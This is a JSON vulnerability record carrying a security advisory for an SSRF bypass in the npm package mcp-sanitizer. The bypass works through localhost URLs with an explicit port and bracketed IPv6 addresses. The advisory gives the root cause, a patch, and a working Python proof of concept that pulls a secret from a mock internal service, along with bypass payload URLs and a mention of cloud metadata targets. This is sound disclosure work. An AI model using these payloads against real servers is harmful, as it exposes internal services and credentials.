{"schema":"threatline.record/2","record":{"id":"GHSA-4mfg-r38w-w8fg","aliases":["GHSA-4mfg-r38w-w8fg"],"summary":"mcp-sanitizer: URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6","details":"## URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6\n\n### Summary\n\n`mcp-sanitizer` v1.3.3 fails to block Server-Side Request Forgery (SSRF) targets when a `localhost` URL includes an explicit port (e.g., `http://localhost:8080/`) or when an IPv6 loopback/link-local address is expressed in bracketed notation (e.g., `http://[::1]:8080/`, `http://[fe80::1]:8080/`). Because the library is explicitly designed to gate MCP tool parameters such as `web_fetch` and `web_scraper` before outbound HTTP requests are made, a bypass here directly enables an attacker-controlled URL to reach internal services, leaking their responses.\n\n### Details\n\nThe vulnerability exists in `src/utils/validation-utils.js` inside the `validateURLLocation()` function that is called by `_secureSanitizeURL()` in `src/sanitizer/mcp-sanitizer.js:698`.\n\n**Bug 1 — Port-guarded localhost check (line 274–276):**\n\n```js\n// src/utils/validation-utils.js:274-276\nif ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) {\n  throw new Error('URL points to localhost without explicit port');\n}\n```\n\nThe `&& !parsedUrl.port` guard means that any localhost URL that includes a port number is *not* thrown. `http://localhost:8080/` passes the check entirely, returning `blocked: false` with the original URL preserved.\n\n**Bug 2 — Bracketed IPv6 hostname mismatch (lines 272, 293–295):**\n\n```js\n// src/utils/validation-utils.js:293-295\nif (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) {\n  throw new Error(`URL points to link-local address: ${hostname}`);\n}\n```\n\nThe Node.js `URL` API returns `parsedUrl.hostname` for IPv6 addresses *with* surrounding brackets: `[::1]`, `[fe80::1]`. The string comparison `hostname === '::1'` (line 274) and `hostname.startsWith('fe80:')` (line 293) therefore never match, because the actual string starts with `[`.\n\n**Data flow through the middleware:**\n\n1. `src/middleware/express.js:499` — tool name derived from `req.params.toolName || req.body?.tool_name`.\n2. `src/middleware/express.js:548-554` — `web_scraper`/`web_fetch` `params.url` forwarded to `sanitizer.sanitize(url, { type: 'url' })`.\n3. `src/sanitizer/mcp-sanitizer.js:527-528` — context type `url` routes to `_secureSanitizeURL()`.\n4. `src/sanitizer/mcp-sanitizer.js:698-700` — `validateURLLocation(parsedUrl)` called; on success, `parsedUrl.toString()` returned to caller as the sanitized, trusted URL.\n\nBoth bugs are in the default code path; no special configuration is required to trigger them.\n\n**Suggested patch:**\n\n```diff\n--- a/src/utils/validation-utils.js\n+++ b/src/utils/validation-utils.js\n@@ const { URL } = require('url');\n+const net = require('net');\n@@ \n-  const hostname = parsedUrl.hostname.toLowerCase();\n+  const hostname = parsedUrl.hostname.toLowerCase().replace(/^\\[|\\]$/g, '').replace(/\\.$/, '');\n@@ \n-  if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) {\n-    throw new Error('URL points to localhost without explicit port');\n+  if (hostname === 'localhost' || hostname.endsWith('.localhost') || hostname === '::1') {\n+    throw new Error('URL points to localhost or loopback');\n   }\n@@ \n-  if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) {\n+  if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:') ||\n+      hostname.startsWith('fc') || hostname.startsWith('fd')) {\n     throw new Error(`URL points to link-local address: ${hostname}`);\n   }\n+\n+  if (net.isIP(hostname) === 6 && (hostname === '::1' || hostname.startsWith('fe80:'))) {\n+    throw new Error(`URL points to restricted IPv6 address: ${hostname}`);\n+  }\n```\n\n### PoC\n\n**Prerequisites:** Docker installed; no other dependencies required.\n\n**1. Build the Docker image:**\n\n```bash\ndocker build \\\n  -f vuln-001/Dockerfile \\\n  -t vuln-001-mcp-sanitizer \\\n  reports/npmAI_754_starman69__mcp-sanitizer\n```\n\n**2. Run the PoC:**\n\n```bash\ndocker run --rm vuln-001-mcp-sanitizer\n```\n\nThe `poc.py` script inside the image:\n- Starts a mock internal HTTP service on `127.0.0.1:8080` serving the string `INTERNAL_SECRET_DATA_9f3a2b1c`.\n- Calls `sanitizer.sanitize(url, { type: 'url' })` via Node.js for five URLs (two expected-blocked, three bypass candidates).\n- Performs an actual `GET http://localhost:8080/` using the sanitizer-approved URL and confirms the secret is returned.\n\n**Expected output (abbreviated):**\n\n```\n[BYPASS_CONFIRMED] http://localhost:8080/  blocked=False  sanitized=http://localhost:8080/\n[BYPASS_CONFIRMED] http://[::1]:8080/     blocked=False  sanitized=http://[::1]:8080/\n[BYPASS_CONFIRMED] http://[fe80::1]:8080/ blocked=False  sanitized=http://[fe80::1]:8080/\n[SSRF HTTP 200] GET http://localhost:8080/ => 'INTERNAL_SECRET_DATA_9f3a2b1c\\npath=/'\n[!!!] INTERNAL SECRET EXFILTRATED: INTERNAL_SECRET_DATA_9f3a2b1c\nRESULT: PASS - SSRF bypass fully demonstrated end-to-end\n```\n\nBaseline controls confirm the library *does* block `http://localhost/` and `http://127.0.0.1/` (`blocked: true`), proving the bypasses are not a general failure but a precise gap in the validation logic.\n\n**Minimal inline repro (no Docker):**\n\n```bash\n# Inside the mcp-sanitizer repository root (npm ci first)\nnode - <<'NODE'\nconst MCPSanitizer = require('./src/sanitizer/mcp-sanitizer');\nconst sanitizer = new MCPSanitizer();\nfor (const url of [\n  'http://localhost:8080/',\n  'http://[::1]:8080/',\n  'http://[fe80::1]:8080/'\n]) {\n  const r = sanitizer.sanitize(url, { type: 'url' });\n  console.log(url, '=> blocked=', r.blocked, 'sanitized=', r.sanitized);\n}\nNODE\n```\n\n### Impact\n\nThis is a **Server-Side Request Forgery (SSRF)** vulnerability. Any application that:\n\n1. Uses `mcp-sanitizer`'s `sanitize()` / `createMCPToolMiddleware()` as the security boundary for outbound URLs, **and**\n2. Passes the returned sanitized URL to an HTTP client (the library's documented intended use for `web_fetch`/`web_scraper` MCP tools),\n\nis exploitable by any party that can supply the `url` parameter — typically an unauthenticated network attacker in an MCP server deployment.\n\n**Consequences:**\n- **Confidentiality (High):** The attacker can retrieve responses from internal services such as cloud metadata endpoints (e.g., `http://169.254.169.254/`), admin panels, or any localhost daemon, potentially exposing credentials, tokens, or sensitive configuration.\n- **Integrity (Low):** If internal services expose writable APIs, the attacker can trigger state changes or issue commands via HTTP.\n- **Availability:** Not directly impacted.\n\nThe vulnerability requires no authentication, no special configuration, and no user interaction; it is exploitable in the default middleware path.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:18-alpine\n\n# Install Python3 for the PoC script\nRUN apk add --no-cache python3\n\nWORKDIR /app\n\n# Copy package files first for better layer caching\nCOPY repo/package.json repo/package-lock.json ./\n\n# Install Node.js dependencies (clean install, no dev deps)\nRUN npm ci --ignore-scripts --omit=dev\n\n# Copy library source\nCOPY repo/src ./src/\n\n# Copy PoC script\nCOPY vuln-001/poc.py ./poc.py\n\n# Run the PoC by default\nCMD [\"python3\", \"poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: mcp-sanitizer SSRF bypass via localhost+port and IPv6 bracket notation\nLibrary: mcp-sanitizer v1.3.3 (commit caff5d6)\nCWE-918: Server-Side Request Forgery\nCVSS 3.1: 8.2 (High)\n\nRoot cause:\n  src/utils/validation-utils.js:274:\n    if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port)\n  - The \"&& !parsedUrl.port\" guard means any localhost URL WITH a port bypasses the block.\n  - Node.js URL API returns hostname as \"[::1]\" / \"[fe80::1]\" (with brackets) for IPv6,\n    so the string equality check against \"::1\" and startsWith(\"fe80:\") both silently fail.\n\nAttack scenario:\n  1. Attacker controls the \"url\" parameter of a web_fetch / web_scraper MCP tool call.\n  2. The server calls sanitize(params.url, { type: 'url' }) and trusts the result.\n  3. Because the bypass succeeds, the server makes an outbound HTTP request to an internal\n     service (localhost:PORT), leaking its response to the attacker.\n\"\"\"\n\nimport subprocess\nimport sys\nimport json\nimport http.server\nimport threading\nimport urllib.request\nimport os\n\n# ─────────────────────────────────────────────────────────────────────────────\n# Step 1: Start a mock \"internal\" service on 127.0.0.1:8080\n#         This simulates a privileged internal endpoint (e.g., metadata API,\n#         admin panel) that should never be reachable from external input.\n# ─────────────────────────────────────────────────────────────────────────────\nINTERNAL_PORT = 8080\nINTERNAL_SECRET = \"INTERNAL_SECRET_DATA_9f3a2b1c\"\n\nclass InternalServiceHandler(http.server.BaseHTTPRequestHandler):\n    \"\"\"Simulates a restricted internal HTTP service (e.g., admin API or metadata endpoint).\"\"\"\n\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/plain\")\n        self.send_header(\"X-Internal\", \"true\")\n        self.end_headers()\n        self.wfile.write(f\"{INTERNAL_SECRET}\\npath={self.path}\\n\".encode())\n\n    def log_message(self, fmt, *args):\n        pass  # Suppress default access logs for cleaner output\n\n\ninternal_server = http.server.HTTPServer((\"127.0.0.1\", INTERNAL_PORT), InternalServiceHandler)\nsrv_thread = threading.Thread(target=internal_server.serve_forever, daemon=True)\nsrv_thread.start()\nprint(f\"[*] Mock internal service started on 127.0.0.1:{INTERNAL_PORT}\")\nprint(f\"[*] Internal secret: {INTERNAL_SECRET}\\n\")\n\n\n# ─────────────────────────────────────────────────────────────────────────────\n# Step 2: Run the mcp-sanitizer via Node.js to test bypass URLs\n# ─────────────────────────────────────────────────────────────────────────────\nNODE_SCRIPT = r\"\"\"\n'use strict';\nconst MCPSanitizer = require('./src/sanitizer/mcp-sanitizer');\nconst sanitizer = new MCPSanitizer();\n\nconst tests = [\n  // These should be BLOCKED (baseline: library is supposed to block localhost)\n  { url: 'http://localhost/',        expectBlocked: true  },\n  { url: 'http://127.0.0.1/',       expectBlocked: true  },\n  // These are the BYPASS cases (the vulnerability)\n  { url: 'http://localhost:8080/',   expectBlocked: false },\n  { url: 'http://[::1]:8080/',      expectBlocked: false },\n  { url: 'http://[fe80::1]:8080/',  expectBlocked: false },\n];\n\nconst out = tests.map(t => {\n  let result;\n  try {\n    result = sanitizer.sanitize(t.url, { type: 'url' });\n    return {\n      url: t.url,\n      blocked: result.blocked,\n      sanitized: result.sanitized,\n      expectBlocked: t.expectBlocked\n    };\n  } catch (err) {\n    return {\n      url: t.url,\n      blocked: true,\n      sanitized: null,\n      expectBlocked: t.expectBlocked,\n      error: err.message\n    };\n  }\n});\n\nprocess.stdout.write(JSON.stringify(out));\n\"\"\"\n\nprint(\"[*] Running mcp-sanitizer URL sanitization tests via Node.js ...\")\nproc = subprocess.run(\n    [\"node\", \"-e\", NODE_SCRIPT],\n    capture_output=True,\n    text=True,\n    cwd=\"/app\"\n)\n\nif proc.returncode != 0:\n    print(f\"[ERROR] Node.js process exited with code {proc.returncode}\")\n    print(f\"stderr: {proc.stderr}\")\n    sys.exit(2)\n\nif not proc.stdout.strip():\n    print(\"[ERROR] No output from Node.js process\")\n    print(f\"stderr: {proc.stderr}\")\n    sys.exit(2)\n\nresults = json.loads(proc.stdout)\n\n\n# ─────────────────────────────────────────────────────────────────────────────\n# Step 3: Print sanitizer results and identify bypassed URLs\n# ─────────────────────────────────────────────────────────────────────────────\nprint(\"[*] Sanitizer results:\\n\")\nheader = f\"{'URL':<35}  {'blocked':<8}  {'sanitized':<35}  status\"\nprint(header)\nprint(\"-\" * len(header))\n\nbypass_urls = []\nunexpected = []\n\nfor r in results:\n    blocked = r[\"blocked\"]\n    expected = r[\"expectBlocked\"]\n    sanitized_str = str(r.get(\"sanitized\") or \"null\")\n    status = \"OK\" if blocked == expected else \"UNEXPECTED\"\n    if not blocked and r.get(\"sanitized\"):\n        bypass_urls.append(r[\"sanitized\"])\n        status = \"BYPASS_CONFIRMED\"\n    print(f\"{r['url']:<35}  {str(blocked):<8}  {sanitized_str:<35}  {status}\")\n    if blocked != expected:\n        unexpected.append(r)\n\nprint()\n\n\n# ─────────────────────────────────────────────────────────────────────────────\n# Step 4: Perform actual SSRF request using the bypassed localhost:8080 URL\n#         This proves the sanitizer flaw leads to real internal service access.\n# ─────────────────────────────────────────────────────────────────────────────\nssrf_confirmed = False\nssrf_evidence = None\nssrf_url = \"http://localhost:8080/\"\n\nif ssrf_url in bypass_urls:\n    print(f\"[*] Attempting SSRF: GET {ssrf_url} (using sanitizer-approved URL) ...\")\n    try:\n        resp = urllib.request.urlopen(ssrf_url, timeout=5)\n        body = resp.read().decode().strip()\n        print(f\"[*] HTTP response status: {resp.status}\")\n        print(f\"[*] HTTP response body:\\n    {body.replace(chr(10), chr(10) + '    ')}\")\n        if INTERNAL_SECRET in body:\n            ssrf_confirmed = True\n            ssrf_evidence = body\n            print(f\"\\n[!!!] INTERNAL SECRET EXFILTRATED: {INTERNAL_SECRET}\")\n    except Exception as exc:\n        print(f\"[ERROR] HTTP request failed: {exc}\")\nelse:\n    print(f\"[WARN] {ssrf_url} was not in bypass_urls; skipping actual SSRF step\")\n\ninternal_server.shutdown()\n\n\n# ─────────────────────────────────────────────────────────────────────────────\n# Step 5: Final verdict\n# ─────────────────────────────────────────────────────────────────────────────\nprint(f\"\\n{'='*65}\")\nprint(\"VERDICT\")\nprint(f\"{'='*65}\")\nprint(f\"  Bypass URLs confirmed by sanitizer: {len(bypass_urls)}\")\nprint(f\"  Bypassed URLs:                      {bypass_urls}\")\nprint(f\"  Actual SSRF HTTP request succeeded: {ssrf_confirmed}\")\nprint(f\"  Exfiltrated secret matches:         {ssrf_confirmed and INTERNAL_SECRET in (ssrf_evidence or '')}\")\n\nif ssrf_confirmed and len(bypass_urls) >= 2:\n    print(\"\\n  RESULT: PASS - SSRF bypass fully demonstrated end-to-end\")\n    print(\"  - mcp-sanitizer v1.3.3 did NOT block localhost:8080, [::1]:8080, [fe80::1]:8080\")\n    print(f\"  - Actual HTTP GET to internal service returned: {ssrf_evidence!r}\")\n    sys.exit(0)\nelif len(bypass_urls) >= 2:\n    print(\"\\n  RESULT: PARTIAL - sanitizer bypass confirmed but live HTTP request failed\")\n    print(f\"  - {len(bypass_urls)} URLs bypassed sanitizer: {bypass_urls}\")\n    sys.exit(1)\nelse:\n    print(\"\\n  RESULT: FAIL - expected at least 2 bypass URLs\")\n    sys.exit(1)\n```","categories":["Libraries & packages"],"product":"mcp-sanitizer","vendor":"","ecosystem":"npm","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-4mfg-r38w-w8fg","source_modified_at":"2026-10-28T19:51:40Z","fetched_at":"2026-10-28T20:58:01.013507Z","package":{"ecosystem":"npm","name":"mcp-sanitizer"},"range":"< 1.4.0"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-4mfg-r38w-w8fg","source_modified_at":"2026-10-28T20:00:03.833543701Z","fetched_at":"2026-10-28T20:58:01.013507Z","package":{"name":"mcp-sanitizer","ecosystem":"npm","purl":"pkg:npm/mcp-sanitizer"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.4.0"}]}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-4mfg-r38w-w8fg","source_modified_at":"2026-10-28T19:51:40Z","fetched_at":"2026-10-28T20:58:01.013507Z","package":{"ecosystem":"npm","name":"mcp-sanitizer"},"version":"1.4.0"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-4mfg-r38w-w8fg","source_modified_at":"2026-10-28T20:00:03.833543701Z","fetched_at":"2026-10-28T20:58:01.013507Z","package":{"name":"mcp-sanitizer","ecosystem":"npm","purl":"pkg:npm/mcp-sanitizer"},"version":"1.4.0"}],"cvss":8.2,"severity":"High","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-28T19:51:39Z","modified_at":"2026-10-28T20:00:03.833543701Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-4mfg-r38w-w8fg","fetched_at":"2026-10-28T20:58:01.013507Z","source_modified_at":"2026-10-28T19:51:40Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-4mfg-r38w-w8fg","fetched_at":"2026-10-28T20:58:01.013507Z","source_modified_at":"2026-10-28T20:00:03.833543701Z"}],"sources":["GitHub Advisory Database","OSV"],"references":[{"url":"https://github.com/starman69/mcp-sanitizer/security/advisories/GHSA-4mfg-r38w-w8fg","source":"GitHub Advisory Database"},{"url":"https://github.com/starman69/mcp-sanitizer/commit/200685889b073f7470859b0941b67b7f46255f09","source":"GitHub Advisory Database"},{"url":"https://github.com/starman69/mcp-sanitizer/releases/tag/v1.4.0","source":"GitHub Advisory Database"},{"url":"https://github.com/advisories/GHSA-4mfg-r38w-w8fg","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-28T20:00:03.833543701Z","content_hash":"128c63061f19ced139ff5865674de831cc6deae80358783bfe226b1c0ac50eb3"}}
